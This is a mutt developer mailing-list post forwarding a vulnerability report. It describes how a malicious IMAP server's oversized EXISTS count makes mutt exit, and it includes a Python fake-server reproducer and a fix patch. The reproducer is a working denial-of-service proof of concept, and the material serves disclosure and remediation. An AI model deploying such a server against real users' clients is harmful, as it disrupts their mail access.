Fwd: report 2/3: unsafe handling of excessive IMAP message counts

"Kevin J. McCarthy" <[email protected]> Thu, 18 Jun 2026 08:09:10 +0800
Newsgroups gmane.mail.mutt.devel
Message-ID <[email protected]>
----- Forwarded message from Acts1631 <[email protected]> -----

Date: Wed, 17 Jun 2026 20:15:45 +0000
From: Acts1631 <[email protected]>
To: "[email protected]" <[email protected]>
Subject: report 2/3: unsafe handling of excessive IMAP message counts
X-Spam-score: 0.0
X-Delivered-to: [email protected]
Message-ID: <G-KzwmXKdxrUP1fWImAzQs8Ni0STXnRhCbBsDypI7jfHnEVOUpQGM8Sn2GldVLJUzahlOxqma528UHKf3jFucx6DzZYXCQNfOqF_WbswJI0=@proton.me>

imap_alloc_msn_index() checks for maliciously large IMAP message sequence number counts before allocating idata->msn_index:

   if (msn_count >= (UINT_MAX / sizeof(HEADER *)))
   {
     mutt_error _("Integer overflow -- can't allocate memory.");
     sleep(1);
     mutt_exit(1);
   }

Calling mutt_exit(1) terminates the mutt process. A robust IMAP client should reject the mailbox/update and return an error to the caller instead of exiting the program.

A malicious IMAP server sends a large message count that fits within an unsigned int but exceeds the conservative allocation threshold, such as:

   * 536870912 EXISTS

On a typical 64-bit build, sizeof(HEADER *) is 8 and the threshold is UINT_MAX / 8, so values in this range trigger the condition.

Proposed fix: Modify imap_alloc_msn_index() to return an error status (int) instead of exiting:

1. Return -1 on allocation refusal, and 0 on success.
2. Update all callers in imap/message.c to check the return value and bail out gracefully before using idata->msn_index.
3. Move the check before memory growth for ctx->hdrs in imap_read_headers() to prevent excessive memory allocations.




----- End forwarded message -----

-- 
Kevin J. McCarthy
GPG Fingerprint: 8975 A9B3 3AA3 7910 385C  5308 ADEF 7684 8031 6BDA
bug2_reproducer.py (text/x-python, 3.1 KB)
#!/usr/bin/env python3
"""
Reproducer/exerciser for Bug 2: excessive IMAP EXISTS count.

The previous reproducer sent 2305843009213693952, but mutt_atoui() rejects
values larger than UINT_MAX before imap_alloc_msn_index() can see them.
This server sends a value that still fits in unsigned int but exceeds the
conservative msn_index allocation threshold on typical 64-bit builds:

    * 536870912 EXISTS

On the original source tree, this may fail during context growth before the
specific imap_alloc_msn_index() mutt_exit() line because imap_read_headers()
grows ctx->hdrs first.  The corrected patch moves the msn_index size check
before context growth and returns an error to callers instead of continuing
with stale msn_index state.

Usage:

    python3 reproducer_imap_crash.py
    mutt -f imap://user:[email protected]:11443/INBOX
"""

import socket

HOST = "0.0.0.0"
PORT = 11443
MALICIOUS_EXISTS = 536870912


def send_line(conn, line):
    print(f"S: {line}")
    conn.sendall((line + "\r\n").encode("ascii"))


def handle_client(conn):
    conn.settimeout(30)
    send_line(conn, "* OK IMAP4rev1 server ready")

    data = b""
    while True:
        try:
            chunk = conn.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break

        data += chunk
        while b"\r\n" in data:
            raw_line, data = data.split(b"\r\n", 1)
            line = raw_line.decode("utf-8", errors="replace")
            if not line:
                continue

            tag = line.split(" ", 1)[0]
            upper = line.upper()
            print(f"C: {line}")

            if "CAPABILITY" in upper:
                send_line(conn, "* CAPABILITY IMAP4rev1")
                send_line(conn, f"{tag} OK CAPABILITY completed")
            elif "LOGIN" in upper:
                send_line(conn, f"{tag} OK LOGIN completed")
            elif "SELECT" in upper or "EXAMINE" in upper:
                send_line(conn, f"* {MALICIOUS_EXISTS} EXISTS")
                send_line(conn, "* 0 RECENT")
                send_line(conn, "* OK [UIDVALIDITY 1] UIDs valid")
                send_line(conn, f"{tag} OK SELECT completed")
            elif "LOGOUT" in upper:
                send_line(conn, "* BYE Logging out")
                send_line(conn, f"{tag} OK LOGOUT completed")
                return
            else:
                send_line(conn, f"{tag} OK completed")


def main():
    print(f"Starting IMAP test server on {HOST}:{PORT}")
    print(f"Will advertise {MALICIOUS_EXISTS} messages on SELECT/EXAMINE")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((HOST, PORT))
    sock.listen(5)

    try:
        while True:
            conn, addr = sock.accept()
            print(f"Connection from {addr}")
            with conn:
                handle_client(conn)
    except KeyboardInterrupt:
        print("Server stopped.")
    finally:
        sock.close()


if __name__ == "__main__":
    main()
bug2.patch (text/x-patch, 2.3 KB)
diff --git a/imap/message.c b/imap/message.c
index d953a9a1..00000000 100644
--- a/imap/message.c
+++ b/imap/message.c
@@ -99,12 +99,12 @@ static int query_abort_header_download(IMAP_DATA *idata)
 }
 
 
-static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
+static int imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
 {
   unsigned int new_size;
 
   if (msn_count <= idata->msn_index_size)
-    return;
+    return 0;
 
   /* This is a conservative check to protect against a malicious imap
    * server.  Most likely size_t is bigger than an unsigned int, but
@@ -113,7 +113,7 @@ static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
   {
     mutt_error _("Integer overflow -- can't allocate memory.");
     sleep(1);
-    mutt_exit(1);
+    return -1;
   }
 
   /* Add a little padding, like mx_allloc_memory() */
@@ -129,6 +129,8 @@ static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
   }
 
   idata->msn_index_size = new_size;
+
+  return 0;
 }
 
 /* This function is run after imap_alloc_msn_index, so we skip the
@@ -257,9 +257,11 @@ retry:
 #endif /* USE_HCACHE */
 
   /* make sure context has room to hold the mailbox */
+  if (imap_alloc_msn_index(idata, msn_end) < 0)
+    goto bail;
+
   while (msn_end > ctx->hdrmax)
     mx_alloc_memory(ctx);
-  imap_alloc_msn_index(idata, msn_end);
   imap_alloc_uid_hash(idata, msn_end);
 
   oldmsgcount = ctx->msgcount;
@@ -598,6 +600,7 @@ static int read_headers_qresync_eval_cache(IMAP_DATA *idata, char *uid_seqset)
      * we need to watch and reallocate the context and msn_index */
     if (msn > idata->msn_index_size)
-      imap_alloc_msn_index(idata, msn);
+      if (imap_alloc_msn_index(idata, msn) < 0)
+        return -1;
 
     h = imap_hcache_get(idata, uid);
     if (h)
@@ -1022,9 +1025,11 @@ static int read_headers_fetch_new(IMAP_DATA *idata, unsigned int msn_begin,
     if (idata->reopen & IMAP_NEWMAIL_PENDING)
     {
       msn_end = idata->newMailCount;
+      if (imap_alloc_msn_index(idata, msn_end) < 0)
+        goto bail;
+
       while (msn_end > ctx->hdrmax)
         mx_alloc_memory(ctx);
-      imap_alloc_msn_index(idata, msn_end);
       idata->reopen &= ~IMAP_NEWMAIL_PENDING;
       idata->newMailCount = 0;
     }
signature.asc (application/pgp-signature, 833 B)
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEiXWpszqjeRA4XFMIre92hIAxa9oFAmozNyYACgkQre92hIAx
a9pXEhAAhqdmXuf/MOwj+mf/B+WFS7wxTy87whRkj7CAYztOHO7q/BwOXPdwFooD
+rD413iohyk8zUf/PE6T2ITBCn0vgaR53w9G42FF+DI8UsSNuXcLnEjipSYANPVv
V0FnjS3fB4Gv6faN/j5UajLi3ZayD+uNG7nwy6WogG/Im0fPvnapueolB7oDghV/
Udn+EDqsYvjOjc7uMn/yAXNgC1NWeq1mVwuG5ajqU+1JODtp6v8d4jG8iq+3o2wA
qP29j+xXxlrksA2pHUFYlfJ6Fob4e7t0wZn9W3tTeEACfOMkSxYyDoDewg5/3I4w
ho5/OQwh9juqxcx8o/ecRmQi3ka/fy88XJMtwy704f8cuhDKd6qcKwbXmBvVmePk
41gt/maCYYq+ufFYqwrzGoqPhpdbI5uxToYQCV+BhB/SzfhOtJkOh8TjImPBysbD
2i5Tt4JYV/6UuYFQbP5DwhlRRcVPAyGuGZs6jbxYn+SRpjDEhMzJP/nSi/QQgshM
Y8YwoN8hj9AvwsC7wVRraQuZyzEwlLv5cOHgC+tNjmUrAgkuSGzABcQHiUO1DrWu
pC26Jb3J6pglq65qyHgAyQQMEDk0KScDSSQo0+f4FuXWkMJ1PBl4ylO33RrxMve3
jv3pzYOG1tVwmdxupEr1pXwT1kOU7ubodWnYn/TNETNc3cK19Ms=
=e4GS
-----END PGP SIGNATURE-----